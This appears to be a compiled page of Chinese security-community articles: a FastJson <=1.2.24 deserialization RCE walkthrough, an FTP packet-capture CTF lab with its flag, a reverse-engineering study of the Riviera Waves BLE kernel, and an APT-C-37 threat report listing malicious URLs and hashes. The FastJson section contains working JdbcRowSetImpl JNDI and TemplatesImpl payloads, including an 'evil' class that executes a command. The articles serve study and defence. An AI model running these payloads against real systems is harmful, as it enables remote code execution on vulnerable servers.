[点击下载议题白皮书](https://keenlab.tencent.com/zh/whitepapers/us-21-Over-The-Air-Baseband-Exploit-Gaining-Remote-Code-Execution-on-5G-Smartphones-wp.pdf)
* * * | 社区文章 |
# FastJson<=1.2.24RCE双链详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
最近在学习FastJson，阿里这个开源的JSON解析库，了解到他被频繁爆出漏洞，于是我做了详细的fastjson漏洞史分析。本文只涉及<1.2.25版本的RCE的两种利用方式，后续会补充其他漏洞。
## 0x01 FastJson简单使用
序列化是把java对象转为json字符串，反序列化即为把json字符串转为java对象，这样就方便进行传输或者存储。之前有人对比过java序列化、fastjson和jackson等序列化反序列化的速度，fastjson快的同时也带来一些安全问题。写一个简单的例子演示一下反序列化的使用。
//fastjson.java
package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class fastjson {
public static void main(String args[]){
String obj = "{\"@type\":\"test.Student\",\"name\":\"zzZ\",\"age\":111}";
Student obj1 = JSON.parseObject(obj, Student.class, Feature.SupportNonPublicField);
System.out.println("name:"+obj1.getName()+"\nage:"+obj1.getAge());
}
}
--- -输-出- name:zzZ
age:111
//Student.java
package test;
public class Student {
public String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
## 0x02 漏洞由来
fastjson的漏洞主要都是因为AutoType造成的，后续的修复和其他版本的绕过都围绕此来进行。
fastjson在进行序列化时会扫描目标的get方法，并将字段的值序列化到JSON字符串中。而当一个类中包含了一个接口（或抽象类）的时，在使用fastjson进行序列化的时候，会将其子类型抹去，只保留接口（或抽象类）的类型，这就导致及逆行反序列化时无法得到原始的类型。为了解决这个问题，fastjson在JSON字符串中添加了[@type](https://github.com/type
"@type")标识（AutoType功能），标注了类对应的原始类型，也就可以在反序列化的时候可以找到具体类型。
在1.2.25之前，AutoType是默认开启，而且没有任何防护，我们只需要传入一个恶意类，配合java反射机制和rmi或者ldap服务就可以实现RCE。在1.2.25中修复，添加了checkAutotype，被绕过后又不断丰富黑白名单直到今天。我们详细一点点分析。
## 0x03 两条调用链分析
### 利用JdbcRowSetImpl类进行RCE
**一、环境搭建**
使用IDEA和JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar（用来搭建rmi和ldap服务）。
* 新建maven项目后添加1.2.23版本fastjson的依赖，之后添加com.fj.learnFJ.java。
package com.fj;
import com.alibaba.fastjson.JSON;
public class learnFJ {
public static void main(String args[]){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
}
}
* 使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建服务。
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
**二、调用分析**
首先在JSON.parse(payload)下断点后运行
跟进后调用parse.parse来解析
因为是左大括号{，所以跳转到case LBRACE执行，并在1327行调用parseObject()反序列化
进入获取内容的for循环，并获得payload中第一个字符’”‘
获取引号后，获取其内容[@type](https://github.com/type "@type")
之后进行第二个值的获取，得到类名
将调用deserializer.deserialze函数来处理反序列化数据，此时deserializer中已经包含了要实例化的类
之后fastjson会在内部处理jdbcrowsetimpl类。我们在JdbcRowSetImpl类setDataSourceName()处下断点，因为传入了DataSourceName，所以会进行调用
之后调用抽象父类BaseRowSet的setDataSourceName给dataSource赋值
之后会调用setAutoCommit()，其中调用了connect()，跟进
connect()中调用了look()，这里的getDataSourceName()就是我们传入的dataSourceName，跟进look看看
调用了getURLOrDefaultInitCtx(name).lookup()，跟进
在getURLOrDefaultInitCtx()内，调用getURLContext()请求ldap服务
之后通过getURLObject()从远程的ldap服务获取Context对象
在getURLObject()内调用factory.getObjectInstance()，完成反序列化，调用了payload
完整调用链：
### 利用TemplatesImpl类进行RCE
**一、环境搭建**
我们使用IDEA搭建即可。
* 添加maven依赖后，添加Poc.java
//Poc.java
package com.fj;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.maven.surefire.shade.booter.org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
String result = Base64.encodeBase64String(bos.toByteArray());
return result;
}
public static void poc() {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
String path = "C:\\Users\\xxx\\Desktop\\code\\evil.class";
String code = readClass(path);
final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + CLASS +
"\",\"_bytecodes\":[\""+code+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
public static void main(String args[]) {
poc();
}
}
* 添加evil.java，并用javac编译为evil.class。
//evil.java
package com.fj;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet{
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws IOException {
evil obj = new evil();
}
}
运行后弹出计算器。
**二、调用分析**
对于TemplatesImpl的payload，在高版本java中要开启Feature.SupportNonPublicField才能对非共有属性的反序列化处理，因此存在一定限制，而之前第一种方法中JdbcRowSetImpl利用几乎无限制。接下来简单分析下TemplatesImpl链的调用。
在parseObject()下断点后调式
跟第一种一样进入deserializer.deserialze() 进行反序列化
之后进入parseField()对json字符串中的一些key值进行匹配
在parseField()中调用smartMatch()对key值进行处理
之后进入fieldDeserializer.parseField()
在fieldDeserializer.parseField()中调用了setValue()，跟进
setValue()中method内方法为getOutputProperties()，并在后面通过反射机制调用，进入TemplatesImpl类
getOutputProperties()内调用newTransformer()会创建Transformer实例，我们跟进
在内部会调用getTransletInstance()创建实例之后返回给上层函数，我们跟进
在getTransletInstance()内，调用defineTransletClasses()遍历_bytecodes数组（判断是byte[]数组会自动base64解码，所以poc里需要进行base64编码），之后调用(AbstractTranslet)
_class[_transletIndex].newInstance()实例化类，类定义的是静态方法，执行触发payload
整个过程调用链为：
## 0x04 结语
上面详细跟踪了两条链的利用方式，相信对于 <1.2.25漏洞的利用已经非常清楚了。
这次的漏洞修复方式是默认关闭AutoType的支持，添加了checkAutotype来判断是否符合要求，并添加了白名单和黑名单来防护AutoType是开启的情况。在之后又出现了各种绕过的姿势，下篇文章继续分析。 | 社区文章 |
# 网络协议—FTP
## 实验目的
了解FTP返回码的作用
了解FTP登录，认证的过程
掌握FTP操作是如何体现在流量包中
学会从FTP中找到传输的文件并提取
## 实验环境
* 操作机：Windows XP
* 实验工具：
* Wireshark2.2
## 实验内容
FTP即File Transfer
Protocol，文件传输协议。常用与互联网上对文件的操作，方便用户上传与下载，并对服务器的文件进行操作。用户通过一个支持FTP协议的客户端程序，连接到在远程主机上的FTP服务器。通过客户端程序向服务端发出命令，服务端执行用户所发出的命令，并将执行的结果返回到客户端。
听说用户使用FTP客户端下载了一个文件？而且开放了一个本地端口来接收文件？能找到这个文件和端口吗？(flag格式flag{本地端口号_传输文件名}，例如flag{21_file.jpg})
### 实验一
FTP的认证过程
#### 方法 查看执行的具体命令
* 操作步骤详解
打开wireshark导入FTP.pcapng流量包，可以先整体浏览一下，FTP协议也是通过TCP协议来承载，wireshark对于这个流量包解析成了三种协议来显示：TCP,FTP,FTP-DATA。wireshark把带有FTP控制信息的解析为FTP，对于至传输了文件内容或者命令执行结果的FTP数据包解析称FTP-DATA。
按顺序从开始看数据包，序号1-3的数据包建立了到192.168.233.131的TFP连接，192.168.233.131等待连接建立成功之后，主动发送了如下数据：
全部展开这个数据包分组详情，可以看到`Response code: Service ready for new user
(220)`，意思是FTP返回码220，FTP服务做好了用户登录的准备。紧接着是FTPserver的banner，欢迎信息，展示了服务器程序Pure-FTPd，当前时间，端口，登录模式(不允许匿名登录)，如果不活动自动断开的时间等等。
上图打开的数据包是客户端向服务端发送的命令，FTP命令传输的格式均为：`command arg`即`命令 参数`。可以看到客户端发送了USER
ftp，使用用户名ftp登录这台FTP服务器，同理下面发送密码也是如此。
客户端发送请求以FTP用户名登录后，服务端回复，要求密码。返回码331，用户是ftp，要求密码。
##### 注释
FTP服务不论这个用户存在与否，都会要求输入密码。
客户端发送密码后，认证成功，服务端回复230用户成功登陆，并返回当前目录/在FTP根目录，见序号12的数据包。
14：客户端发送SYST请求目标服务器操作系统，服务器返回215和UNIX Type。这一步是客户端程序主动发送的。
18：然后客户端给服务端发送PORT命令，指定了客户端的一个端口，随后服务端主动连接该端口，并随后传输的数据均通过新端口建立的TCP连接发送。
##### 注释
21：客户端连接服务端21端口用于传输命令，服务端连接客户端端口用于传输数据，可以通过流量包FTP和FTP-DATA的端口号进行判断。
25：然后客户端发送命令LIST，请求文件列表，服务端说文件正常，准备发送列表，通过刚刚建立的TCP连接，端口
紧接着可以看到第一个FTP-DATA数据包发送到了新建立的端口，带着FTP服务器跟目录的信息，在分组字节流中：
29：发送完目录之后，服务端主动发送了一个226，表示关闭数据传输。
33：客户端发送CWD命令default为参数，切换目录到default并列出文件列表，服务端切换成功之后再次建立连接，通过FTP-DATA传回文件列表。
在序号为57的数据包中，客户端发送RETR www.tgz 获取FTP服务器上的一个文件，服务器建立连接，并在序号62的FTP-DATA给客户端传输了这个文件的数据。且客户端开放了49626端口接收文件。
69：客户端发送QUIT命令，退出FTP服务器，服务器回复221，服务断开，并包含了上传和下载文件大小的信息：
### 实验二 提取数据
在我们想要导出数据的FTP-DATA包，例如导出www.tgz这个文件，可以在序号62这个数据包分组详情，FTP Data字段右键导出分组字节流即可。
##### 思考
这种FTP服务安全吗？
如何让FTP变的更安全？
Flag:
flag{49623_www.tgz} | 社区文章 |
# 概述
DA145x软件平台利用了由Riviera Waves许可的小型高效实时内核，内核提供以下功能：
1. 任务创建和状态转换。
2. 任务之间的消息交换。
3. 计时器管理。
4. 动态内存分配。
5. BLE事件的调度和处理
# 基础数据结构
本节主要分析Riviera Waves系统中常用的一些数据结构
## co_list链表实现
### 数据结构
co_list就是一个单向链表，DA145x代码里面会使用co_list来存放各种数据，比如消息数据.
核心的数据结构如下
//链表中的节点
struct co_list_hdr
{
/// 指向下一个链表节点
struct co_list_hdr *next;
};
/// 链表头的结构
struct co_list
{
// 链表头节点
struct co_list_hdr *first;
// 链表尾节点
struct co_list_hdr *last;
// 链表中的节点个数
uint32_t cnt;
// 链表中最多节点数
uint32_t maxcnt;
// 链表中最少节点数
uint32_t mincnt;
};
co_list表示链表头，存放了整个链表的一些元数据，链表节点为co_list_hdr，应用程序使用co_list时会在其特定结构体内部嵌入co_list_hdr和co_list。
### 链表初始化
co_list_init用于初始化一个链表
void __fastcall co_list_init(struct co_list *list)
{
list->first = 0;
list->last = 0;
list->cnt = 0;
list->maxcnt = 0;
list->mincnt = -1;
}
### 插入节点
`co_list_push_back`用于将节点`list_hdr`插入到链表`list`的尾部
void __fastcall co_list_push_back(struct co_list *list, struct co_list_hdr *list_hdr)
{
uint32_t cnt; // r1
if ( list->first )
{
list->last->next = list_hdr;
}
else
{
list->first = list_hdr;
}
list->last = list_hdr;
list_hdr->next = 0;
cnt = list->cnt + 1;
list->cnt = cnt;
if ( list->maxcnt < cnt )
{
list->maxcnt = cnt;
}
}
1. 如果`list->first`为空，就把`list_hdr`放到链表头`list->first`，否则就把该list_hdr放到最后一个节点的末尾
2. 最后更新`list->last`和`list->cnt`
`co_list_push_front`用于将节点`list_hdr`插入到链表`list`的头部
void __fastcall co_list_push_front(struct co_list *list, struct co_list_hdr *list_hdr)
{
co_list_hdr *v2; // r2
uint32_t v3; // r1
v2 = list->first;
if ( !list->first )
{
list->last = list_hdr;
}
list_hdr->next = v2;
list->first = list_hdr;
v3 = list->cnt + 1;
list->cnt = v3;
if ( list->maxcnt < v3 )
{
list->maxcnt = v3;
}
}
逻辑类似，就是把`list_hdr`放到链表`list->first`，然后修正`list`中相关的字段
节点出链表
co_list_pop_front将头节点出链表
struct co_list_hdr *__fastcall co_list_pop_front(struct co_list *list)
{
struct co_list_hdr *item; // r1
co_list_hdr *v2; // r2
uint32_t v3; // r2
item = list->first;
if ( list->first )
{
v2 = item->next;
list->first = item->next;
if ( !v2 )
{
list->last = 0;
}
v3 = list->cnt - 1;
list->cnt = v3;
if ( list->mincnt > v3 )
{
list->mincnt = v3;
}
}
return item;
}
就是把`list->first`的元素取出，然后修改list的相关信息。
### 取出节点
`co_list_extract`函数用于在`list`中取出从`list_hdr`开始的`nb_following`个节点。
bool __fastcall co_list_extract(struct co_list *list, struct co_list_hdr *list_hdr, int nb_following)
{
bool has_found; // r5
co_list_hdr *pre; // r4
co_list_hdr *cur; // r3
co_list_hdr *new_next; // r1
uint32_t v7; // r1
has_found = 0;
pre = 0;
for ( cur = list->first; cur; cur = cur->next )
{
if ( cur == list_hdr ) // 首先找到 list_hdr 节点
{
has_found = 1;
while ( nb_following > 0 ) // 从list_hdr开始取出nb_following个节点
{
cur = cur->next;
--nb_following; // 如果 nb_following 超过链表长度，就会空指针...
--list->cnt;
}
new_next = cur->next;
if ( pre ) // list_hdr开始的nb_following个节点出链表
{
pre->next = new_next;
}
else
{
list->first = new_next;
}
if ( list->last == cur )
{
list->last = pre;
}
v7 = list->cnt - 1;
list->cnt = v7;
if ( list->mincnt > v7 )
{
list->mincnt = v7;
}
return has_found;
}
pre = cur;
}
return has_found;
}
主要逻辑就是找到list_hdr节点cur，然后从cur开始取出nb_following个节点。
### 查找节点
co_list_find就是遍历链表找到list_hdr节点
bool __fastcall co_list_find(struct co_list *list, struct co_list_hdr *list_hdr)
{
do
{
list = list->first;
}
while ( list != list_hdr && list );
return list == list_hdr;
}
### 链表合并
co_list_merge把两个链表合并为一个链表，实际就是把`list2`的元素挂在`list1`的末尾
void __fastcall co_list_merge(struct co_list *list1, struct co_list *list2)
{
list1->last->next = list2->first;
list1->last = list2->last;
list2->first = 0;
list1->cnt += list2->cnt;
list2->cnt = 0;
}
# 事件调度机制
Riviera Waves中实现了事件调度机制，一个任务可以在处理完事情后，通知特定的事件处理函数去进行具体的事物处理。
## 相关API实现
本节主要分析事件调度相关函数的实现
### ke_event_init
该函数主要就是初始化了一个全局变量
void ke_event_init()
{
memset(p_ke_event_table, 0, sizeof(ke_event_table_struct));
}
p_ke_event_table指向一个全局的 **事件调度管理结构** ，经过逆向分析其结构体定义如下
struct ke_event_table_struct
{
int pending_event_bits;
int callback_list[6];
};
其中pending_event_bits其中的一些bit用于表示特定的事件是否已经处于pending状态等待系统处理。
callback_list表示每个事件的处理函数的地址
### ke_event_callback_set
该函数实际就是向系统注册 event_type 事件对应的处理函数， event_type最大为5，及系统共支持6个事件。
uint8_t __fastcall ke_event_callback_set(uint8_t event_type, void (*p_callback)(void))
{
unsigned int idx; // r2
uint8_t result; // r0
idx = event_type;
result = 3;
if ( idx < 6 )
{
p_ke_event_table->callback_list[idx] = p_callback;
result = 0;
}
return result;
}
### ke_event_schedule
`ke_event_schedule`会检查`p_ke_event_table->pending_event_bits`中所有事件的状态，如果事件对应的`bit`为1，就调用对应的回调函数，关键代码如下
unsigned int ke_event_schedule()
{
v0 = p_ke_event_table;
while ( 1 ) // 检查所有事件的状态
{
result = v0->pending_event_bits;
// 根据pending_event_bits找到对应的回调函数
event_callback = *(v0->callback_list + ((4 * (31 - v3)) & 0x3FF));
if ( event_callback )
{
event_callback(); // 调用事件的回调函数
}
`ke_event_schedule`会在系统运行的特定时机被调用，比如定时器或者某些任务主动调用来让系统处理事件。
此外该函数不会设置事件对应的`bit`，所以在事件的处理函数，如果事件得到处理要调用ke_event_clear设置对应事件的bit为0.
### ke_event_clear
设置某个事件的状态位为0.
bool __fastcall ke_event_clear(unsigned int event)
{
unsigned int v1; // r1
_BOOL4 result; // r0
v1 = __get_CPSR();
_R2 = 1;
__asm { MSR.W PRIMASK, R2 }
if ( event < 6 )
{
p_ke_event_table->pending_event_bits &= ~(1 << event);
}
result = v1 != 0;
__asm { MSR.W PRIMASK, R0 }
return result;
}
### ke_event_set
设置某个事件的状态位为1，即通知系统该事件需要处理，ke_event_schedule函数中会调用事件对应的回调函数来处理事件。
bool __fastcall ke_event_set(unsigned int a1)
{
unsigned int v1; // r1
_BOOL4 result; // r0
v1 = __get_CPSR();
_R2 = 1;
__asm { MSR.W PRIMASK, R2 }
if ( a1 < 6 )
{
p_ke_event_table->pending_event_bits |= 1 << a1;
}
result = v1 != 0;
__asm { MSR.W PRIMASK, R0 }
return result;
}
## 系统注册的事件处理函数
通过查看ke_event_callback_set的交叉引用和参数可以知道系统中注册的事件号及其回调函数的信息如下
https://github.com/hac425xxx/BLE-DA145XX/blob/main/argument_tracker.py#L556
addr: 0x7F08BB2, event: 0x5, callback: lld_evt_deffered_elt_handler @ 0x7F08A6E
addr: 0x7F09CCE, event: 0x0, callback: llm_encryption_done @ 0x7F02744
addr: 0x7F0E5C2, event: 0x3, callback: event_3_callback_func @ 0x7F0E58E
addr: 0x7F0E956, event: 0x4, callback: event_4_callback_func @ 0x7F0E87C
addr: 0x7F1CDEC, event: 0x1, callback: event_1_callback_func @ 0x7F1CCDE
addr: 0x7F1D06C, event: 0x2, callback: event_2_callback_func @ 0x7F1CFFA
# 任务管理机制
Riviera Waves中实现了任务管理机制，用户可以创建自己的任务来处理特定的事件
任务ID由两个部分组成，高8字节为任务的IDX，低8字节为任务的类型，定义如下
/// Task Identifier. Composed by the task type and the task index.
typedef uint16_t ke_task_id_t;
/// Builds the task identifier from the type and the index of that task.
#define KE_BUILD_ID(type, index) ( (ke_task_id_t)(((index) << 8)|(type)) )
/// Retrieves task type from task id.
#define KE_TYPE_GET(ke_task_id) ((ke_task_id) & 0xFF)
/// Retrieves task index number from task id.
#define KE_IDX_GET(ke_task_id) (((ke_task_id) >> 8) & 0xFF)
ke_task_create用于创建一个任务，实际就是把任务描述符放到全局任务数组的特定位置
uint8_t __fastcall ke_task_create(uint8_t task_type, const struct ke_task_desc *p_task_desc)
{
idx = task_type;
if ( idx < 26 )
{
if ( p_task_desc_table_0[idx] )
{
result = 4;
}
else
{
p_task_desc_table_0[idx] = p_task_desc;
}
任务描述符的结构如下
/// Task descriptor grouping all information required by the kernel for the scheduling.
struct ke_task_desc
{
/// Pointer to the state handler table (one element for each state).
const struct ke_state_handler* state_handler;
/// Pointer to the default state handler (element parsed after the current state).
const struct ke_state_handler* default_handler;
/// Pointer to the state table (one element for each instance).
ke_state_t* state;
/// Maximum number of states in the task.
uint16_t state_max;
/// Maximum index of supported instances of the task.
uint16_t idx_max;
};
state是一个数组，用于表示当前task处于哪些状态，state_max为state数组的大小
开发者可以使用`ke_state_set`设置`task->state`的值
void __fastcall ke_state_set(const ke_task_id_t id, const ke_state_t state_id)
{
int state_idx; // r4
ke_task_desc *task; // r2
ke_state_t *v4; // r2
state_idx = HIBYTE(id);
task = 0;
if ( id < 0x1Au )
{
task = p_task_desc_table_0[id];
}
if ( task->idx_max > state_idx )
{
v4 = &task->state[state_idx];
if ( *v4 != state_id )
{
*v4 = state_id;
notify_handle_saved_msg(id); // 通知内核去处理queue_saved中的消息
}
}
}
这个表主要在`get_msg_handler`函数中被使用，用于任务的状态机。
系统中的任务列表
call ke_task_create on llc_init 0x7F02CBE, task_struct: 0x7F1F1E8
call ke_task_create on lld_init 0x7F06E1E, task_struct: 0x7F1F540
call ke_task_create on llm_init 0x7F09CC6, task_struct: 0x7F1F578
call ke_task_create on gtl_init_func 0x7F0E322, task_struct: 0x7F1F7F0
call ke_task_create on gattc_init 0x7F125BE, task_struct: 0x7F1FE44
call ke_task_create on gattm_init 0x7F13824, task_struct: 0x7F1FF40
call ke_task_create on l2cc_init 0x7F13B7A, task_struct: 0x7F1FFE0
call ke_task_create on gapc_init 0x7F1567C, task_struct: 0x7F2004C
call ke_task_create on gapm_init 0x7F176D4, task_struct: 0x7F201B4
# 消息调度机制
## 申请消息
函数通过`ke_msg_alloc`申请消息，入参分别为消息ID，目的task_id， 源task_id以及消息参数的长度。
void *__fastcall ke_msg_alloc(const ke_msg_id_t id, const ke_task_id_t dest_id, const ke_task_id_t src_id, const uint16_t param_len)
{
size_t v6; // r4
ke_msg *msg; // r0
uint32_t *v9; // r5
v6 = param_len;
msg = ke_malloc(param_len + 16, 2); // 申请内存
msg->hdr.next = -1;
msg->saved = 0;
msg->id = id;
msg->dest_id = dest_id;
msg->src_id = src_id;
msg->param_len = v6;
v9 = msg->param;
memset(msg->param, 0, v6);
return v9;
}
返回值是一个`ke_msg`结构体的`param`部分
struct ke_msg
{
struct co_list_hdr hdr; // 链表头，用于后面把消息挂载到co_list链表中
uint32_t saved;
ke_msg_id_t id;
ke_task_id_t dest_id;
ke_task_id_t src_id;
uint16_t param_len; // param 的长度
uint32_t param[1];
};
## 消息释放
ke_msg_free直接使用 ke_free 释放内存。
int __fastcall ke_msg_free(int a1)
{
return ke_free(a1);
}
ke_msg_free的入参是
`ke_msg*`，但是`ke_msg_alloc`返回是`ke_msg`的`param`，所以在使用`ke_msg_free`很有可能出现指针没有减`0x10（ke_msg头部的大小）`的情况。
## 消息发送
ke_msg_send用于将特定消息发送到目标任务去处理
bool __fastcall ke_msg_send(int param)
{
ke_msg *msg_hdr; // r1
unsigned int v2; // r4
msg_hdr = (param - 16);
v2 = __get_CPSR();
_R0 = 1;
__asm { MSR.W PRIMASK, R0 } // 关闭中断
co_list_push_back(&p_ke_env->queue_sent, &msg_hdr->hdr);
_R0 = v2 != 0;
__asm { MSR.W PRIMASK, R0 } // 恢复中断
return ke_event_set(1u);
}
主要逻辑就是把`msg_hdr`放到`p_ke_env->queue_sent`链表的末尾，`p_ke_env`指向`ke_env`，`ke_env`是一个全局变量，其结构如下
/// Kernel environment definition
struct ke_env_tag
{
/// Queue of sent messages but not yet delivered to receiver
struct co_list queue_sent;
/// Queue of messages delivered but not consumed by receiver
struct co_list queue_saved;
/// Queue of timers
struct co_list queue_timer;
#if (KE_MEM_RW)
/// Root pointer = pointer to first element of heap linked lists
struct mblock_free * heap[KE_MEM_BLOCK_MAX];
/// Size of heaps
uint16_t heap_size[KE_MEM_BLOCK_MAX];
#if (KE_PROFILING)
/// Size of heap used
uint16_t heap_used[KE_MEM_BLOCK_MAX];
/// Maximum heap memory used
uint32_t max_heap_used;
#endif //KE_PROFILING
#endif //KE_MEM_RW
};
可以看的结构体头部是`queue_sent`，类型为`co_list`，这个队列用于存放发送的的消息，`queue_sent`中消息会在后面消息调度时，找到对应的消息处理函数进行处理。
故`ke_msg_send`就是把要发送的消息放到`ke_env`的`queue_sent`发送队列中。
消息挂载到`queue_sent`链表后会调用`ke_event_set`通知内核，1号事件触发，然后在事件处理函数中会去调用消息对应的处理函数去处理消息。
## 消息处理
在`ke_task_init_func`函数里面注册了1号事件的处理函数
int ke_task_init_func()
{
memset(p_task_desc_table_0, 0, 0x68u);
return ke_event_callback_set(1u, 0x07F1CCDF);
}
`0x07F1CCDF`处的函数的关键代码为
int event_1_callback_func()
{
// 从发送队列中取出一个消息
msg = co_list_pop_front(&p_ke_env_->queue_sent);
if ( msg && !ke_is_free(msg) )
{
custom_msg_handler = *custom_msg_handlers_1;
if ( *custom_msg_handlers_1 )
{
// 首先在 custom_msg_handlers 里面搜索消息处理函数
for ( i = 0; ; ++i )
{
handler = &custom_msg_handler[i];
if ( !handler->func )
{
break;
}
if ( msg->dest_id == custom_msg_handler[i].task_id )
{
msg_id = msg->id;
if ( msg_id == handler->id || msg_id == dv_0xFFFF )
{
msg_handle_func = custom_msg_handler[i].func;
if ( !msg_handle_func )
{
break; // 如果匹配就调用回调函数处理
}
goto trigger_callback_func;
}
}
}
}
msg_handle_func = get_msg_handler(msg->id, msg->dest_id);
if ( msg_handle_func )
{
trigger_callback_func:
msg_handle_result = msg_handle_func(msg->id, msg->param, msg->dest_id, msg->src_id);
if ( msg_handle_result )
{
if ( msg_handle_result != 1 && msg_handle_result == 2 )
{
// 处理结果为2，msg保存到queue_saved链表
msg->saved = 1;
co_list_push_back(&p_ke_env_->queue_saved, &msg->hdr);
}
goto out;
}
}
ke_msg_free(msg); // 如果消息处理成功就把msg释放
}
out:
if ( !p_ke_env_->queue_sent.first ) // 如果queue_sent链表为空，清除 event #1 事件
{
ke_event_clear(1u);
}
return result;
}
代码逻辑为
1. 从`p_ke_env_->queue_sent`取出一个消息`msg`。
2. 根据`msg->id` 在 `custom_msg_handlers` 里面搜索消息处理函数，如果能找到就调用消息处理函数。
3. 否则调用`get_msg_handler`根据`msg->id`和`msg->dest_id`去目标任务描述符里面搜索处理函数
4. 找到处理函数`msg_handle_func`后，调用`msg_handle_func`对消息进行处理
5. 如果`msg_handle_func`返回值为0表示消息处理完毕，后面会使用`ke_msg_free`释放消息的内存，如果返回值为2，就会把消息放到`p_ke_env_->queue_saved`链表中
6. 最后函数会判断queue_sent链表如果没有未处理的消息，就会把 1 号事件清除。
# 总结
本文主要对Riviera Waves系统中的一些关键API、工作机制进行介绍。 | 社区文章 |
# 拍拍熊（APT-C-37）：持续针对某武装组织的攻击活动揭露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
从2015年10月起至今，拍拍熊组织（APT-C-37）针对某武装组织展开了有组织、有计划、针对性的长期不间断攻击。其攻击平台为Windows和Android，截止目前360烽火实验室（360
Beaconlab）一共捕获了Android平台攻击样本32个，Windows平台攻击样本13个，涉及的C&C域名7个。
某武装组织由于其自身的政治、宗教等问题，使其成为了众多黑客及国家的攻击目标。2017年3月，某武装组织Amaq媒体频道发布了一条警告消息，该消息提醒访问者该网站已被渗透，任何访问该网站的人都会被要求下载伪装成Flash安装程序的病毒文件。从消息中我们确定了某武装组织是该行动的攻击目标，其载荷投递方式至少包括水坑式攻击。
通过分析，我们发现拍拍熊组织使用到的一个主要C&C位于中东某国，且和同时期的黄金鼠组织[1]使用的C&C属于同一个网段。进一步分析对比，两个组织有很强的关联性，然两者又包含有各自的特有RAT。
由于拍拍熊组织的攻击目标针对的是某武装组织，支持双平台攻击，另史上曾经出现过唯一一种获有士兵证的中东某国特色动物，结合该组织的一些其它特点以及360对
APT 组织的命名规则，我们将该组织命名为DOTA游戏里的一个角色名—-拍拍熊。
图1.1 拍拍熊攻击相关的关键时间事件点
## 载荷投递
此次拍拍熊组织载荷投递的方式主要为水坑攻击。
## 水坑攻击
Al
Swarm新闻社网站（见图2.1）是一个属于某武装组织的媒体网站，同样的原因，使其也遭受着来自世界各地的各种攻击，曾更换过几次域名，网站目前已经下线。拍拍熊组织除了对上述提到的Amaq媒体网站进行水坑攻击外，我们发现Al
Swarm新闻社也同样被该组织用来水坑攻击。
图2.1 Al Swarm新闻社网站（注：采用archive获取）
该水坑攻击方式采用的是把Al Swarm站的正常APP替换成一个插入RAT后的恶意APP， 其RAT具体下载链接和链接对应文件MD5见表1。
恶意下载链接
|
<https://sawarim.net/apps/Sawarim.apk>
---|---
域名状态
|
失效
下载的APK文件MD5
|
bb2d1238c8418cde13128e91f1a77ae7
表1 Android端RAT程序具体下载链接和链接对应文件MD5
除了上面两个针对某武装组织新闻媒体网站的水坑攻击外，我们还发现到该组织使用到的一些其它历史水坑攻击见表2，包含了Android端和Windows端RAT程序具体下载链接和链接对应文件MD5。
恶意下载链接
|
<http://androids-app.com/downloads/Youtube_v3_4.apk>
---|---
域名状态
|
失效
下载的APK文件MD5
|
dc1ede8e2d3206b04cb95b6ae62f43e0
|
恶意下载链接
|
http://androids-app.com/SystemUI.exe
域名状态
|
失效
下载的PE文件MD5
|
d2c40e2183cf18855c36ddd14f8e966f
|
恶意下载链接
|
<http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayerX86_64.exe>
域名状态
|
失效
下载的PE文件MD5
|
8c49833f76b17fdaafe5130f249312ca
|
恶意下载链接
|
<http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayer_installX86.exe>
域名状态
|
失效
下载的PE文件MD5
|
e6e676df8250a7b930b2d016458225e2
表2 RAT程序具体下载链接和链接对应文件MD5
## 诱导方式
拍拍熊组织在这次行动中主要使用以下两种诱导方式：
### 含有正常APP功能的伪装
为更好的躲避被察觉到，除了对文件图标进行伪装外，还会把RAT插入到正常的APP中，如一款名为“زوجات
الرسول”的APP，它运行后展示的是正常时的界面，但当接收到指定的广播时，便在后台进行间谍活动。
图3.1 带有两种RAT的伪装APP“زوجات الرسول”
### 文件图标伪装
图3.2 伪装的应用软件图标
## RAT攻击样本分析
截至目前，拍拍熊组织此次攻击活动已使用到数种分别针对Android和Windows的不同RAT。
### Android
